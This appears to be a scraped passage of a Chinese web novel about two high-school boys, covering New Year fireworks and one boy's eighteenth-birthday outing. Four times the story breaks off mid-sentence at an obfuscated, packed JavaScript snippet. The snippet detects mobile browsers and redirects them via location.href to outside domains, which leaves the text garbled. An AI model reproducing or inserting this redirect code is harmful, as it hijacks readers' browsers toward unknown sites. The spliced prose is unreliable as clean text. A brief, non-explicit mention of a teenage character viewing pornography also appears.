骆危楼跟孙雯宁受不了他们的幼稚,但也没走,只是站在一边,脸上挂着笑。 等一人捧着一个红薯回到小区,孙雯宁擦嘴,生怕被家里人逮个正着。 严妄看她要走,指了指她脸颊,“这里还有一点。” 孙雯宁自从圣诞约会差点着了道,现在处于道心破碎、看破红尘的状态。 毫无形象地用校服袖子蹭了蹭,“走了啊,后天见。” “别啊,晚上出来,一起跨年。”严妄一边说,一边轻轻碰骆危楼胳膊,“我们俩准备了放地上的烟花,可以放。” 骆危楼蹙眉,什么时候准备的,他怎么不知道? 孙雯宁愣了愣,然后点头,“行啊,几点你微信叫我。” 严妄点点头,嗯了声。 看着孙雯宁离开,严妄咬一口红薯往家里走,“你反应也太慢了,都不附和我。” “谁知道你的脑子,会在什么时候会冒出什么东西。”骆危楼转头看他,伸手拿掉他下巴的红薯肉粒。 “属猪的?” 严妄吭哧两口咬下去,“嗳,你怎么知道?” 骆危楼无语,又被严妄气笑,“难怪外公外婆每次养你都跟喂猪似的。” “过分了哈,你这是人身攻击。”严妄不生气,瞥眼骆危楼,“今天阿姨还是不回来吗?” “不回。” 骆危楼摇头,伸手问严妄要塑料袋,随手丢进垃圾桶,“估计年前都没什么时间。” 严妄哦了声,“那你可是一个富二代了,超有钱的,我要是以后找不到工作,你努力点开公司,招我给你当保洁。” 骆危楼拿纸巾擦手,“拒绝。” 严妄撇嘴,瞪着他,“真狠心啊你,那你以后老了我也不养你,哦,是不照顾你,不喊你出门玩,让你天天在家里待着当宅男。” 闻言骆危楼挑了下眉,发现严妄像个傻子,威胁人都不会。 谁威胁别人的时候,还会去想几十年后跟这个人还有联 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035249|162243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 系,还能一起出去玩。 小学生都不这么威胁人了。 - 晚饭后,严妄坐不住,直接去阳台把杨孟生买的烟花盒抱出来。 严妄一脸兴奋,看向杨孟生和江杉,“你们去不去呀?一起去看烟花,跨个年!” 杨孟生连连摆手,“不了,你们小年轻自己去玩。” 江杉从房间出来,手里拎了件羽绒服,“你们两个孩子,把羽绒服穿上,外面冷嗖嗖的,别冻感冒。” 骆危楼接过来先穿上,又去拿严妄手里的烟花,让他穿好衣服。 “知道了,我们身体好着呢。”严妄边穿边说,“那你们看电视,我们一会儿放完就回来了啊。” “跨年有你们这么跨的吗?才几点。”江杉看眼时间,“人家都是十二点才出去。” “意思意思就行了,主要是气氛到。”严妄才不要等到十二点,反正其他时区说不定早到了呢。 江杉无奈摇头,看眼骆危楼抱着烟花盒已经去门口等,“也就小楼一天天愿意陪着你胡闹。” “他那是陪着我胡闹吗?他自己也喜欢玩。”严妄拒绝接受这个说法,“我们走了啊,你们好好在家里,爱你们呀!” 杨孟生和江杉摇摇头,赶他们快点走。 严妄一下楼就给孙雯宁发了个消息,然后和骆危楼一起先把烟花盒摆好。 三个烟花盒,摆成一个三角形。 严妄一边摆一边念叨,“还好有外公,要不然我们放学去买都被买光了。” 他蹲着,抬头去看骆危楼,“这里应该可以放吧,不在电线旁边,离井盖也远,周围还只有绿植,基本燃不起来。” 骆危楼嗯了声,又检查了一遍周围,看看有没有易燃物。 “好了,就等孙雯宁来了。”严妄站起来,蹦了一下,挪到骆危楼旁边,“骆危楼,你想考哪个大学啊?” 骆危楼诧异看他,没说话。 严妄努努嘴,盯着地面,“我就是想问问看,你打算去哪个学校,还有哪个座城市。” 离江舟市远不远。 太远的话,那机票车票什么的一定很贵了。 骆危楼笑了声,“不知道,还没想好。” 没等严妄说话,孙雯宁就跑了过来。 “外面好冷啊。”孙雯宁看了眼地上烟花,“妄崽,你可真浪漫啊,跨年放烟花。” 严妄骄傲地抬了抬下巴,掏出火机就过去点,被骆危楼勾了一下羽绒服帽子,拽了回去。 严妄不满地瞪他,就看骆危楼递了一根香过来。 “……” “你什么时候拿的?” “出门时外婆给的。”骆危楼收回手,插在口袋里,顺道往后挪了两步,“点吧。” 孙雯宁也默默地往后退了几步。 严妄鄙视他们俩,太不够义气了。 严妄拿着香把引线点着,飞快跑到骆危楼旁边,窸窸窣窣的声音过后,“砰”一声炸开,焰火瞬间窜起来。 火树银花。 真好看啊,尤其是在晚上。 “新年快乐啊!” 严妄大声道:“新的一年,身体健康、发财暴富、考上大学!” 孙雯宁拿出插在口袋里的手,往前走了一步,两只手围在嘴边,“新一年,我一定要逃出这个家!一定可以的!” 严妄看向骆危楼,发现骆危楼也在看自己。 他走近几步,凑过去小声说:“骆危楼,我的新年愿望是你一定要一直开心!” “要把不开心留在现在,千万不要带去未来!” 骆危楼表情微怔,然后抽出手,在严妄后脑勺轻轻揉了一把。 “知道了。” 25.第 25 章 元旦假期的第一天,严妄睡了个十足十的懒觉,十二点才爬起来,晕晕乎乎地出房间,发现家里只有骆危楼在。 杨孟生和江杉不知道去哪了。 客厅空调开得足,严妄伸了个懒腰,肚子露出一截,“外公外婆去哪了?” 骆危楼从厨房端着午饭出来,“去旅游了。” 严妄哈欠打一半,“什么?旅游?” 骆危楼抬眼看他,“说元旦假期出去玩,等期末考前回来,反正我们俩能照顾好自己。” 严妄坐下,刚要伸手去拿筷子,被骆危楼一巴掌拍开。 手背立即红了片印子,“他们有一点身为高三生家长的自觉吗?哪有这个关键时期去旅游的!” “去洗手。”骆危楼不接他的话,“小心病从口入。” “别咒我可以吗?我身体倍棒。”严妄边说边站起来,“去几天啊?怎么连个信息都不给我留,太过分了。” 骆危楼拉开椅子坐下,“我给你的不是信息?” 严妄洗完手出来,手往骆危楼脖子里一塞,“太没仪式感了,应该给我留个小纸条。” 骆危楼:“现在是信息时代。” 严妄:“做人不能忘本。” 骆危楼:“起床是不是没看手机?” 严妄:“……昨天忘记充电了,这不是难得放假太兴奋。” “昨天晚上你干嘛不留在这里睡?嫌弃我的床小了啊。”严妄咽下嘴里的饭,忽然问。 骆危楼正好吃到辣椒,一不留神,被重创,猛地咳嗽起来,辣味直接呛到气管里了。 严妄飞快给他倒了一杯水,猛拍他背,“你还好吧?这么大个人吃饭了还不注意,万一是食物呛到,那怎么办?” 后背的力道大得不像是给他顺气,反倒像是想把他送走。 骆危楼拉住严妄手腕,摇了摇头,“坐回去。” 严妄皱起眉,觉得骆危楼太要强,“好了?” 一杯水灌进去,还觉得辣,但已经好了不少。 骆危楼自己起身去倒水,“好了。” 严妄放下心,继续扒拉自己的碗。 吃过午饭,严妄刚准备消消食,就接到了江杉和杨孟生的视频电话。 两人下了高铁,正在去酒店的车里。 “你们太过分了,旅游这种事竟然不带上我。”严妄反坐在椅子上,下巴搭着,一脸怨气。 江杉笑,“带你出来干什么?在酒店里写卷子啊?” “那我也可以晚上再写。” “十几张卷子你要写到什么时候去?” “说到底你们就是不想带我,觉得我打扰到你们了。” 杨孟生插话,“是啊,你打扰到我们了,作息不一样,不能一起旅游。” 严妄撇嘴,刚要说什么,骆危楼不知道什么时候端了一盆小西红柿进来,站在他身后。 江杉看到,立即道:“你不是准备给小楼过生日吗?还能出来啊?” “小楼,生日快乐啊,礼物早上给你了。” 骆危楼弯腰,下巴几乎贴到严妄耳朵,“谢谢外公外婆,玩得开心。” 杨孟生笑着点头,“你们俩在家好好相处,晚上记得锁门、关电源,厨房的燃气要记得检查,知道吧。” 严妄盯着屏幕里的两人,小声问:“那你们什么时候回来啊?” 手指抠了抠椅背,一副委屈的样。 江杉一看,顿时就后悔早上没把人叫醒,说一声再走。 “五号就回去了,你在家乖。” 严妄的情绪来得快走得也快,迅速收拾好心情,“那你们玩得开心,注意安全啊。” “知道了,回家见。” “再见啊。” 挂断视频电话,严妄蔫了一样靠着。 骆危楼把碗放到桌上,拿了一颗递到他嘴边,“别失落了,高考结束一起出去,可以随便玩。” 严妄眼睛倏地亮起,咬住西红柿时差点咬到骆危楼的手,嘴唇贴着擦过。 “真的?那不是可以玩一个月?” 骆危楼抽出卷子,“真的。” 严妄干劲十足,拿出一张语文卷子,“我决定了,今天我就要干掉一半的卷子,为明后天留出时间。” 骆危楼毫无反应,“那祝你成功。” 严妄瞥他,“违心的话就不用说了,呵呵。” 骆危楼:“。” 于是,第一天假期,两个人做卷子到了晚上六点,吃完一顿饭,看了一集综艺,又双双坐在书桌前,一起刷题、刷卷子,直到十一点,骆危楼的闹钟响了。 严妄正在配平化学方程式,忽然听到声音,差点被打断思路。 他正要问,就见骆危楼收拾东西,看着是要走。 严妄一愣,“这个点了,你下去做什么?再写一会儿就在这里睡了。” 骆危楼瞥眼那张床,又看了看严妄,想起了这人冬天的睡姿,立即打住了要留下来的念头。 “怕家里遭贼。” 严妄:“???” 小区里最近有谁家的东西被偷了吗? 骆危楼面不改色瞎扯,“一楼东西被偷,而且又是年关,所以要多注意。” 收是没收什么东西,“等会儿记得关好门。” 严妄隐隐被说服,但总觉得哪里不对劲。 他怎么觉得骆危楼在忽悠他啊? 骆危楼不给严妄反应的时间,拿上东西果断往外走,“明天中午一起出门?” 严妄哦了一声,看着骆危楼出去,跟了两步道客厅,“那你回家关好门,记得反锁。” 骆危楼看他要跟到门口,拦住他。 换好鞋,自己带上门下楼了。 - 陆舍青已经有半个月没回家了,家里怪冷清的。 平时不觉得,但这种感觉到了冬天会变得异常明显,尤其是每次从热闹的地方回来。 骆危楼连等都懒得开,直接打开手机照亮,关好门就径直回了房间。 进房间后,他下意识地把门锁上。 骆危楼打开空调,靠在椅子里,忽地想到什么,点开了手机浏览器的收藏夹。 他给链接改了一个名字,如果不是特别关注域名的话,是发现不了这个网站的。 点开后,骆危楼看了一眼页面,面无表情,甚至心跳都极为正常。 两个男的在一起,就是因为荷尔蒙、肾上腺素和多巴胺的诱导吗?那做.爱也是为了追求刺激? 骆危楼理解不了,他甚至理解不了画面里两个人的表情、肢体。 不是说没有生理上的波动,而是他能控制住,而且不需要费劲就能保持平静。 关了页面,骆危楼闭上眼,捏了捏眉心。 那为什么换成严妄之后,他就一点都控制不了,仅仅是拥抱、触碰都会变得一发不可收拾。 想要更多一点,以至于他忘了严妄对他的不设防。 圣诞节那天,因为一封情书,他和严妄扭打在沙发上,看着严妄因为动作变红的脸,还有眼睛,骆危楼第一次意识到自己的龌龊和肮脏。 不单单是欲望,更是想要弄哭严妄的冲动。 所以他主动拉开距离,面对严妄自我保护机制,从而忽视那他近似告白的话后,还是避免一些接触。 尤其是冬天,睡在一张床。 不用实践,他都知道严妄这人会睡着睡着,直接把腿搭到他身上,还会无意识地靠在他这边。 严妄。 想要占有他,又想要放他自由。 骆危楼深吸一口气,放桌上的手机忽然震了震。 骆危楼打开手机,同时清理了浏览记录后,才点开严妄发过来的新消息。 【严妄:开门。】 骆危楼几乎是瞬间站起来,椅子在地面刮出一道刺耳的声音。 现在是一月一日,冬天,外面-1℃。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15037384|162243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 严妄大半夜不睡觉,跟他说开门。 骆危楼觉得自己的肾上腺素也在飙升,甚至有一点击溃大脑的迹象,否则他怎么会短短几步路就觉得喘。 “骆危楼,我听到声音了,快开门!” 严妄看着手机里的时间,“要来不及了!” 骆危楼甚至忘记开灯,打开门后,严妄就站在昏暗的楼道里,灯一闪一闪的,光落在他身上。 严妄看到骆危楼,把手里的东西塞过去,“十八岁生日快乐!” “今天我又是第一个对你说生日快乐的人!” 骆危楼发现他忽然平静下来,肾上腺素狂飙的感觉消失了,随之而来是严妄身上的橘子味。 是沐浴露带的。 他捧着礼物,站在门口,显得有一点呆傻。 严妄跺了跺脚,“好了,我回去了,你——” 骆危楼盯着严妄,打断他的话,“要不要进来?” 严妄愣住,“……可是我门没反锁。” 骆危楼:“关了门?” 严妄:“关了。” 不等严妄反应,骆危楼就把人拉到了门里,然后直接往房间里带。 “外面那么冷,你就穿这点下来,是真的不怕流感?”骆危楼把人按到床边,又把空调调高了两度,“我去给你接热水。” 严妄刚要说不用,就被瞪了回来。 只好坐在床边,无聊地晃着腿,又打开手机,在群里艾特一遍大家。 放假时间,早睡的都是极少数。 严妄消息都没发出去,零点一过,其他人的生日祝福直接刷了屏。 【学神生日快乐啊!@骆危楼】 后面一连串,全都是复制的。 骆危楼接了水回来,就看严妄示意他看手机。 他拿起来看,十几个人的小群已经刷完屏,他回了一句谢谢,愣了愣,又发了一个严妄常给他发的表情包。 “骆危楼,你这么发,他们说不定以为是我拿你手机回的。” 骆危楼:“?” 点开群,果然被说中。 【周戈:能不能别拿学神手机玩了?】 【刘晋安:学神还发表情包啊?】 【孙雯宁:相信我,我骆危楼自己发的。】 【王哥:……不太懂,但学神生日快乐。】 【罗恬:你们都不困啊?】 【赵不凡:年纪轻轻不养生。】 骆危楼的确没有发表情包的习惯,不过不代表不会发。 算了,解释不清。 “你不拆礼物吗?”严妄看他把手机放一边,抱着杯子喝了两口,就捂手,“都不好奇我送了什么啊。” 骆危楼看向包好的礼物,“猜中了有奖吗?” 严妄歪头笑起来,才洗过澡看着毛绒绒的,“可以啊,就给你一个心愿好了。” 骆危楼挑起眉,拿起盒子,稍微掂了掂就大概知道是什么。 “乐高——” 严妄立即道:“错了!” “加心愿券。”骆危楼的声音踩着严妄的话说完。 严妄撇嘴,把杯子往床头一放,直接上了骆危楼的床,“睡觉了,不想跟你玩。” 骆危楼关了大灯,留了一点灯带,“生日第一天,都不能给点特殊?” 严妄背着身不理他,后脑勺都气鼓鼓的,“不给。” 骆危楼低笑一声,等他躺好了才关上灯,“晚安。” 房间陷入黑暗,两个人躺在一张床上,呼吸声逐渐变得同频。 外面的风吹得不小,呼呼的,感觉玻璃都在响。 骆危楼却仿佛枕在一片温软的云上,那些躁动、欲望、不安全都被抚平,化作了对严妄的喜欢。 只是单纯的喜欢,哪怕想要拥抱、接吻也仅仅是在喜欢之上滋生出的亲近感。 正欲闭上眼,黑暗里忽然响起严妄的声音。 “十八岁的骆危楼,晚安了。” 26.第 26 章 高中生过生日,无非是吃饭、唱歌然后吹蛋糕。 形式是次要,大家聚在一起是主要。 严妄几乎不主动攒局,但要是像周戈、孙雯宁他们叫自己出去,只要没什么事,基本都会到场。 今年要不是骆危楼十八岁生日,相当于成人礼,他也懒得在群里call大家来。 “骆危楼,你还在磨蹭什么,出门了!” 严妄踩着拖鞋,哒哒哒地跑到房间,推开门瞪他,“从这里打车去游乐园都要半小时。” 骆危楼把笔插回笔筒,卷子夹进书里,“二十六分钟。” “那你就卡点?”严妄哼了声,“你就这么不重视自己生日啊?要我生日时候你这样,我保证跟你绝交。” 骆危楼拿上外套,走到门口,抬手捏他的脸,“没有不重视,是时间还早。” 严妄撇嘴,“这不是想早点去,毕竟是我们叫大家出来玩。” 骆危楼抬手搂着他肩膀往门口走,笑了声,“那走吧,顺道还可以买吃的,还有头箍。” 严妄一脸疑惑瞥他,“你还要戴头箍?” 他还以为骆危楼不感兴趣,原来这么有童心啊。 “买给你戴。”骆危楼薅了一把他头发,手一翻,外套帽子扣在脑袋上。 严妄不满地拍开他的手,弯腰穿好鞋子,先一步出门。 手痒,把他发型都弄乱了。 骆危楼跟在他后面出来,心想大冬天的约人去游乐园,也只有严妄能做得出来。 外面严妄已经走到楼道拐角,水蓝色羽绒服套了条深蓝色牛仔裤,原地跺了跺脚,催他快点。 两个人一起下楼,到小区门口打车。 才在路边等了几分钟,严妄恨不得立即钻进有暖气、空调的室内。 太冷了,手才拿出来就被冻红。 严妄跺着脚,往手心里哈气,反复搓着。 骆危楼从口袋里掏出暖手宝,撕开递给严妄,“后悔了吧?” 严妄接过来,嘴还硬,“我才不会后悔,我这就是才出来不适应,等会儿玩起来就好了。” “为什么一定要去游乐园?”骆危楼好奇问。 严妄扭头盯着他,“因为你生日啊,生日不就是要去游乐园,小时候不也去。” “听说元旦这几天,七点就会放烟花。” 骆危楼眼神微怔,揣在口袋里的手攥了攥。 他望向街道,看到打的车到了,开口时发现喉咙有些紧,“车到了。” 网约车刚停稳,骆危楼拉开车门,严妄就钻了进去,他跟着坐进车里。 - 江舟市一共两座游乐园,新的在郊区,离市区很远,平时开车过去都要将近两个小时。 在市区这座游乐园年代久远,九十年代修建的,游乐设施都比较旧。后来园方加了一些新的,又重新修整了绿化和别的,加上临河,倒是游客量还算好。 严妄和骆危楼到游乐园的时候,正好一点钟。 其他人在群里说一点半左右到,最早的孙雯宁和罗恬逛完街一起过来,问他们要不要喝什么。 周戈和赵不凡表示不用,当然是要到游乐园让严妄请客。 严妄看到聊天记录,发了一个鄙视的表情包。 “那边有卖烤肠的,吃不吃?”严妄放下手机,指向旁边的店,“旁边还可以买头箍。” 骆危楼点头,边走边问:“想玩哪些项目?” 严妄眼睛一亮,“全都来一遍,什么大摆锤、过山车、海盗船全都玩,碰碰车、摩天轮、旋转木马也玩!” 掰着手指数了一遍,“对了,我在网上查的时候,他们说这里有一个剧场,类似环球那样的,反正可以进去体验,一会儿想玩就买票,这个时间排队应该还好。” 为了今天的安排不出问题,严妄可是花了两个晚上研究。 骆危楼问:“想玩吗?” 严妄:“想啊!” 来游乐园不就是玩这些的?不玩有什么意思! 走到店门口,严妄眼里只装得下烤肠。 柜台旁边有一锅关东煮,保温箱里还放了汉堡、鸡肉卷跟烤鸡排。 严妄不自觉咽了咽口水,“老板,我要这个烤肠,两根都放辣椒,关东煮你也帮我们拿点。” “那你们先拿好烤肠。” 老板是个年轻女生,拿了一个杯子,“关东煮要什么?我给你们拿。” 严妄把烤肠分给骆危楼,空着的手在锅上面指了指,“鱼丸、牛肉丸、鱼排,然后海带、萝卜、蟹排还有鱼豆腐,对了,都要两份啊。” 骆危楼拿着烤肠没吃,从口袋里拿了张纸巾出来,递到严妄手里,“擦擦嘴。” 嘴边全都是辣椒粉,比小孩还要小孩。 严妄随便擦了擦,接过老板递来的关东煮,骆危楼就拿着手机扫码付了款。 两个人在外面吃完烤肠,才去玩偶店里选头箍。 严妄擦擦手,拿起一个兔子的,“你戴这个怎么样?好可爱啊!是垂耳兔!” 骆危楼站在原地,一动不动地任由严妄摆布。 “要不这个猫?” “可以。” “还是你比较喜欢狗?” “都行。” “那要不还是换回兔子吧,我觉得这个兔子比较可爱。” “你不选一个?” 严妄把兔子发箍给骆危楼戴好,然后开始选自己的,“我再看看。” 骆危楼扫一圈,顺手拿了一对猫耳,“这个吧。” 对上严妄疑惑眼神,解释说,“和你衣服比较配。” 严妄觉得好有道理,而且反驳不了。 拿起来戴头上,对着镜子看了看,“好像是不错,那就这两个。” 旁边有其他来玩的女生,看起来年纪都不大,等他们俩去结账,忍不住又多看了两眼。 骆危楼付款的时候,从镜子里瞥到,但只一眼,又错开了视线,抬手帮严妄调整了下头箍。 从玩偶店出去,待了没几分钟,其他人陆续赶到。 孙雯宁和罗恬逛街就是去买礼物,一见面就把两个袋子递给骆危楼。 “生日快乐啊!” “恭喜你,从今天起成年了,下回KTV叫你!” 周戈和赵不凡也带了礼物,但两个人太默契,完全没私下商量,买到了同一款游戏的周边发行。 幸好角色不一样,不然更尴尬。 “学神,生日快乐,附中今年高考的脸面,靠你了!” “生日快乐!” 骆危楼接过袋子,每接一次都会认真地说一次谢谢。 接完后,一只手就挂满了。 严妄用余光悄悄瞄着骆危楼,见他表情变化,知道他心情不错,顿时松了口气。 其实他还挺担心的,万一搞得太复杂,骆危楼觉得麻烦怎么办。 现在看,完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15049855|162243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全多余担心。 骆危楼稍微整理了一下袋子,方便拎着,“你们要不要吃点东西?” 其他人立即摇头,表示他们是吃了再过来的。 而且一会儿要玩那么多项目,万一吃多了吐出来怎么办。 严妄拿着关东煮,陷入了沉思,“……我是不是吃太多了?” 万一吐了那不是完蛋了! “游乐园有半日票,可以随便玩项目,我和严妄刚才已经买好了,等会儿可以知己去玩。” 骆危楼说:“可能热门的要排队。” “排队算什么,玩了再说!” “冲冲冲,高考前的最后放肆,玩爽了最重要!” “周戈你好恶心啊,你不要戴兔子发箍!” “很丑吗?严妄不是也戴了?” …… 六个人六张嘴,只有骆危楼话少,但这种话少在一群人里无济于事,走到哪儿都是吵吵嚷嚷的。 好在是假期的游乐园,本来也到处都是人声。 考虑到严妄才吃了东西,前面几个项目都比较温和,等玩了半个小时,就控制不住了,什么刺激玩什么。 一圈玩下来,嗓子哑的哑,腿软的软,还有脸色发白的。 日落前,几个人终于在长凳坐下休息。 骆危楼从店里买了几瓶热的饮料,拿过来分给他们,坐在严妄旁边。 人刚坐下,严妄脑袋就靠过来。 骆危楼:“……” “想吐?” 严妄没说话,只点头。 骆危楼:“……吐我身上的话,那你得赔我件衣服。” 严妄气得瞪他,“你也太小气了?我为你牺牲这么多,你就这么对我?” 旁边四个人立即竖起了八卦的耳朵,想听严妄牺牲了什么? “妄崽,这话一半是女主角对男主角说的。” “才不是,是炮灰对主角说的。” “还有一种可能,是妻子对出轨的丈夫说的。” “那有没有一种可能——” “住嘴!”严妄恼羞成怒,暗中怀疑自己交的都是一群什么朋友,“这是爸爸对叛逆儿子说的!” 骆危楼:“。” 行吧。 骆危楼看着严妄,拧开瓶盖喝水时,望向远处湖面的眼神软了许多。 难得他主动找话题,“好久没这么玩过了。” 其他人一听,纷纷表示赞同。 一想到是骆危楼生日,更觉得意义非凡。 严妄趁他们七嘴八舌说话的时候,悄悄戳了戳骆危楼胳膊,“嗳,你今天很高兴的吧?” 骆危楼转过头看他,“对自己的安排这么没信心?” 严妄努嘴,“是你这个人太难搞好不好?我对自己的安排十分有信心。” 骆危楼笑了声,抬手勾住他肩膀,冲他笑起来,“很高兴。” 严妄看着他脸上的笑,不自在地别开眼,莫名地心里一片热。 奇了怪了,又不是没见骆危楼笑过。 “严妄,谢谢你啊。” 骆危楼凑近了点,“这个十八岁的第一天,我觉得很开心。” 在十八岁的第一秒,他就收到了最好的礼物。 或许应该说,从三岁那年认识严妄以来,其实上天已经对他很好。 不那么完整的家庭,却拥有了另外的家人。 还有一个,很喜欢、很喜欢的人。 27.第 27 章 烟花在晚上七点准时升起,绚烂的烟花噼里啪啦升到半空,砰一声炸开,而后簌簌往下掉。 倒映在河面,顿时多了几分梦幻。 严妄看了眼时间,“快去占位置啊,再不拍照,等会儿就不放了。” 扯了扯纹丝不动的骆危楼,“快去,站中间。” 孙雯宁对拍照一向积极,拉着罗恬先去站好,又招呼周戈和赵不凡。 四个人默契地留出了中间位置,刚好够他俩站。 严妄左右瞥着人群,琢磨请谁帮忙会比较好。 “小哥哥,你们是要拍照吗?我帮你们拍好了。”一个女生主动问。 严妄仿佛看到了救星,把手机塞给对方后,拉着骆危楼迅速站到空出的位置。 “小姐姐,麻烦多拍几张,谢谢啊!” 说完扭头看骆危楼,“生日合照,能不能笑一个?” 他看到骆危楼嘴唇动了动,但刚好后面烟花炸开,声音被盖过去,什么都没听清。 严妄想问,帮忙拍照的女生喊他们看镜头,又顾不上问了。 拍完照,严妄去拿手机,一边道谢一边看照片。 不知道是不是他们太上镜,还是后面烟花很衬人,拍的几张照片都挺出片的。 “照片发群里啊!”孙雯宁扫了一眼,强烈要求,“今天的妆没白花。” 严妄咔咔挑了几张发群里,然后手机一关,“走,去吃饭!” 骆危楼嗯了声,听从他安排。 六个人打一辆车肯定装不下,正好分成两辆车,一边三个,坐着还宽敞。 严妄把地址发群里,让先上车的孙雯宁他们到地方直接报电话。 周戈被残忍抛下,站在寒风里,看一眼骆危楼,又看一眼严妄,觉得自己怪多余的。 一个是寿星,一个是寿星他发小,而他呢? 没人在意。 骆危楼点开手机,保存了照片。 严妄正把照片发给江杉,还显摆了两句,今天骆危楼生日,他给安排得特别好。 肩膀被拍了一下,他听到骆危楼说。 “上车了。” 严妄哦了声,自然坐进“周戈,你坐副驾。” 周戈早习惯了,但凡骆危楼在,严妄身边的位置就是他的。 周戈拉开副驾的门,“遵命,您二位赶紧上车,我可快冻死了。” 严妄对他龇牙,先坐进车里,骆危楼跟着上了车。 - 晚饭选的是一家有包间的火锅店,不仅可以吃火锅,还有冰淇淋、甜品随便选。 而且,包间里还能唱歌。 饿了一下午的几个人,菜刚上,进锅里涮了一圈,也不知道熟没熟就往碗里捞。 筷子伸慢一点,都捞不着。 等吃饱喝足发饭晕时,在放的什么歌早没人在意,连孙雯宁都懒得开嗓,只想歇着。 周戈和赵不凡坐了会,消化得快,又喝了点啤酒,一人一个话筒,坐在沙发上鬼哭狼嚎的,不知道在唱什么。 孙雯宁被吵得拿抱枕砸他们,罗恬干脆戴上耳机装聋。 骆危楼在外面接了个电话,回来后扫了一圈,目光落在角落的严妄身上,径直走过去。 坐下后,抬手摸了摸他额头,“醉了?” 严妄喝得不多,奈何酒量感人,加上吃了不少,比平时还晕乎。 听到骆危楼说话,模模糊糊的,脑袋转过去,“……你说什么?” 骆危楼:“……” 不仅醉了,听力还不行。 包间里吵吵嚷嚷的,两个女生还好,都没醉。 至于周戈和赵不凡,醉了比不醉还精神。 他看了眼时间,已经九点半,不算早了。 骆危楼轻轻拍下严妄的脸,“要不要回家?” 严妄脑袋往他肩上一砸,“不行,还没有吹蛋糕、唱生日歌,我买了个大蛋糕。” 多大来着?反正比他脑袋大。 骆危楼怔住,耐心问:“在服务员那里吗?” 严妄点头,然后又摇头,“是神秘惊喜,不能告诉你。” 旁边孙雯宁竖起耳朵偷听半天,终于听到一两句,“蛋糕?要不要我去拿?” 她旁边的罗恬也点头。 “应该是让服务员卡着时间送来,你去拿下吧。”骆危楼拉着严妄胳膊,扶他坐好。 “时间不早,吃完都回家。” 周戈搭着赵不凡肩膀,举着话筒,“学神,生日快乐啊!” 声音响得严妄睁了睁眼,猛地坐直,茫然地看向周围。 孙雯宁站起来,拍了周戈一下,“真没救了你。” 她出去没一会儿,就跟着服务员一块把蛋糕拿了进来。 知道人不多,所以严妄买的是一个六寸蛋糕。 数字十八的蜡烛插在正中间。 服务员点了蜡烛就出去,其他人围过来,还颇有气氛地关了顶灯。 严妄甩了甩头,站在骆危楼旁边,拉着他胳膊,“快点,吹蜡烛之前要许愿。” 骆危楼从小成绩好,习惯了被人注视。 但每次过生日的时候,周围人目光落在他身上,他还是不太习惯。 哪怕是朋友、亲人。 周戈起哄,“学神快点许愿,咱们市的高考状元就是你了。” 赵不凡:“这种愿望不用许也能实现的吧。” 罗恬:“不如许身体健康,早日暴富。” 周戈:“豆妹,你财迷啊!” 只有严妄和孙雯宁没催,严妄是有点不清醒,孙雯宁是心里藏着一件事,憋得慌。 她目光在骆危楼和严妄身上扫来扫去。 “嗳,骆危楼,你要不许一个特别想实现的愿望吧,别说出来。”孙雯宁忽然低声说:“人家不是说,说出来的不灵。” 严妄被酒劲熏得晕乎,但又不完全醉。 一听来了劲,立即附和,“你快点许愿,别说出来啊,不然就不灵了。” 骆危楼看着大家,笑了一下,难得地信了一回。 他闭上眼,双手握在一起,很认真地许愿。 其他人期待地等着他睁开眼,再一起吹蜡烛。 骆危楼睁开眼时,第一眼是严妄期待的脸,然后是其他朋友的眼神。 “许完了。” “谢谢。” “生日快乐!” “客气什么!都是朋友!” 说完大家一起吹了蜡烛,把蛋糕一人一块分了。 闹闹腾腾到了快十点,才终于站到路边打车,准备各自回家。 周戈和赵不凡离得远点,又是一个方向,打了一台车回去。 罗恬跟孙雯宁回家住一晚,他们四个人正好能打一辆车。罗恬坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15059238|162243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前面,孙雯宁陪他俩坐后排。 回去路上,严妄清醒了不少,但困,靠着骆危楼肩膀不说话。 骆危楼由着他,还给他扯了扯身上外套。 